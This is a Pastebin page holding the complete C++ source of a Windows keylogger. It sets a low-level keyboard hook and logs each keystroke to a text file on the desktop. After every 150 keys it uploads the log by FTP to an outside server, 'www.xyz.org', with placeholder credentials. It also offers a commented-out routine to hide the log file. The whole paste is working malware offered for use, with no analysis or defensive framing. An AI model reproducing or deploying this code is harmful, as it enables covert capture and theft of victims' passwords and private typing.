amiralbenz

keylogger

Sep 7th, 2015
297
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 6.01 KB | None | 0 0
  1. #pragma comment (lib,"wininet.lib")
  2. #include <windows.h>
  3. #include <wininet.h> //for uploadFile function
  4. #include <shlobj.h>
  5. #include <iostream>
  6. using namespace std;
  7.  
  8. char * extractFilename(char * path){
  9. char * ret = path;
  10. bool isFullPath = false;
  11. for (int i=0;i<strlen(path);i++){
  12.     if (ret[i] == '\\'){
  13.         isFullPath = true;
  14.     }
  15. }
  16. if (isFullPath){
  17.     ret = (char *)((DWORD)path + lstrlen(path) - 1);
  18.     while (*ret != '\\')
  19.         ret--;
  20.     ret++;
  21. }
  22. return ret;
  23. }
  24.  
  25. FILE * f;
  26. HHOOK hKeyboardHook;
  27.  
  28. /*Change file attributes to hidden*/
  29. void hide_file(char * file)
  30. {
  31.          if (GetFileAttributes(file) != 0x22)
  32.          SetFileAttributes(file,0x22);
  33. }
  34.  
  35. /*Since we are working with files placed on desktop we need the Desktop directory path*/
  36. bool getDesktopPath(char * ret)
  37. {
  38.         char desktop[260];
  39.         if (SUCCEEDED(SHGetFolderPath(NULL,
  40.                                   CSIDL_DESKTOPDIRECTORY | CSIDL_FLAG_CREATE,
  41.                                   NULL,
  42.                                   SHGFP_TYPE_CURRENT,
  43.                                   desktop)))
  44.         {
  45.                 strcpy(ret,desktop);
  46.                 return true;
  47.         }
  48.         else
  49.         {
  50.                 ret = NULL;
  51.                 return false;
  52.         }
  53. }
  54.  
  55. //Multiple concatenation
  56. char *dupcat(const char *s1, ...){
  57.      int len;
  58.      char *p, *q, *sn;
  59.      va_list ap;
  60.  
  61.      len = strlen(s1);
  62.      va_start(ap, s1);
  63.      while (1) {
  64.          sn = va_arg(ap, char *);
  65.          if (!sn)
  66.              break;
  67.          len += strlen(sn);
  68.      }
  69.      va_end(ap);
  70.  
  71.      p = new char[len + 1];
  72.      strcpy(p, s1);
  73.      q = p + strlen(p);
  74.  
  75.      va_start(ap, s1);
  76.      while (1) {
  77.          sn = va_arg(ap, char *);
  78.          if (!sn)
  79.              break;
  80.          strcpy(q, sn);
  81.          q += strlen(q);
  82.      }
  83.      va_end(ap);
  84.  
  85.      return p;
  86. }//Example: cout<<dupcat("D:","\\","Folder",0)<<endl; ==> D:\Folder
  87.  
  88.   /*Upload file to server*/
  89. BOOL uploadFile( char *filename, char *destination_name,char *address,char *username,char *password)
  90. {
  91.         BOOL t = false;
  92.         HINTERNET hint,hftp;
  93.         hint = InternetOpen("FTP",INTERNET_OPEN_TYPE_PRECONFIG,0,0,INTERNET_FLAG_ASYNC);
  94.         hftp = InternetConnect(hint,address,INTERNET_DEFAULT_FTP_PORT,username,password,INTERNET_SERVICE_FTP,0,0);
  95.         t = FtpPutFile(hftp,filename,destination_name,FTP_TRANSFER_TYPE_BINARY ,0);
  96.         InternetCloseHandle(hftp);
  97.         InternetCloseHandle(hint);
  98.         return t;
  99. }
  100.  
  101.  static int keysPressed = 0; //Lets count the keys pressed
  102.  
  103. LRESULT WINAPI Keylogger (int nCode, WPARAM wParam, LPARAM lParam)
  104. {
  105.         char currentDirectory[260];
  106.                 char * workFullPath;
  107.                
  108.        
  109.     if  ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))      
  110.     {
  111.             bool truth = getDesktopPath(currentDirectory); //If we can capture the desktop directory then we are good
  112.                 if (truth)
  113.                 {
  114.                     //Concatenate desktop directory and files
  115.                         workFullPath = dupcat(currentDirectory,"\\work.txt",NULL); //So the file path will be like: C:\Users\Corporation\Desktop\work.txt
  116.                         f = fopen(workFullPath,"a+"); //Open the file
  117.                 }
  118.         KBDLLHOOKSTRUCT hooked_key = *((KBDLLHOOKSTRUCT*)lParam);
  119.         DWORD dwMsg = 1;
  120.         dwMsg += hooked_key.scanCode << 16;
  121.         dwMsg += hooked_key.flags << 24;
  122.         char lpszKeyName[1024] = {0};
  123.                 lpszKeyName[0] = '[';
  124.  
  125.         int i = GetKeyNameText(dwMsg,   (lpszKeyName + 1),0xFF) + 1;
  126.         int key = hooked_key.vkCode;
  127.                 lpszKeyName[i] = ']';
  128.          //Key value or something else ?
  129.                  //if the key if from A-Z,a-z,0-9 then add this to file
  130.                         if (key >= 'A' && key <= 'Z')
  131.                         {
  132.                              if  (GetAsyncKeyState(VK_SHIFT) >= 0)
  133.                                          key += 0x20;
  134.                                  if (f != NULL)
  135.                                  fprintf(f,"%c", key);
  136.                         }
  137.                                                 //else add the name of the key.For example if the key is 32 -> Add "Space" to the file,so we know that space has been pressed.lpszKeyName is that name.
  138.                         else
  139.                         {
  140.                                 if (f != NULL)
  141.                                         fprintf(f,"%s", lpszKeyName);
  142.                         }
  143.                                                 keysPressed ++;
  144.                                                 if (keysPressed == 150) //Enough data
  145.                                                 {
  146.                                                         //extractFilename is used to extract only the file from path:Example: C:\data\x.php,
  147.                                                         //extractFilename("C:\\data\\x.php") => x.php so that we add only the file to ftp
  148.                                                         uploadFile(workFullPath,extractFilename(workFullPath),"www.xyz.org","ftpUsername","ftpPassword"); //Upload the file to FTP
  149.                                                         keysPressed = 0;
  150.                                                 }
  151.  
  152.                         //You can make the file hidden :))
  153.                         //hide_file(workFullPath);
  154.                         fclose(f);
  155.         }
  156.     return CallNextHookEx(hKeyboardHook,nCode,wParam,lParam);
  157. }
  158.  
  159. DWORD WINAPI JACKAL(LPVOID lpParm)
  160. {
  161.         HINSTANCE hins;
  162.         hins = GetModuleHandle(NULL);
  163.         hKeyboardHook = SetWindowsHookEx (  WH_KEYBOARD_LL, (HOOKPROC) Keylogger,   hins,  0);
  164.  
  165.         MSG message;
  166.     while (GetMessage(&message,NULL,0,0))
  167.     {
  168.         TranslateMessage( &message );
  169.         DispatchMessage( &message );
  170.     }
  171.  
  172.     UnhookWindowsHookEx(hKeyboardHook);
  173.     return 0;
  174. }
  175.  
  176. void main(){
  177.         JACKAL(NULL);
  178. }
Advertisement
Add Comment
Please, Sign In to add comment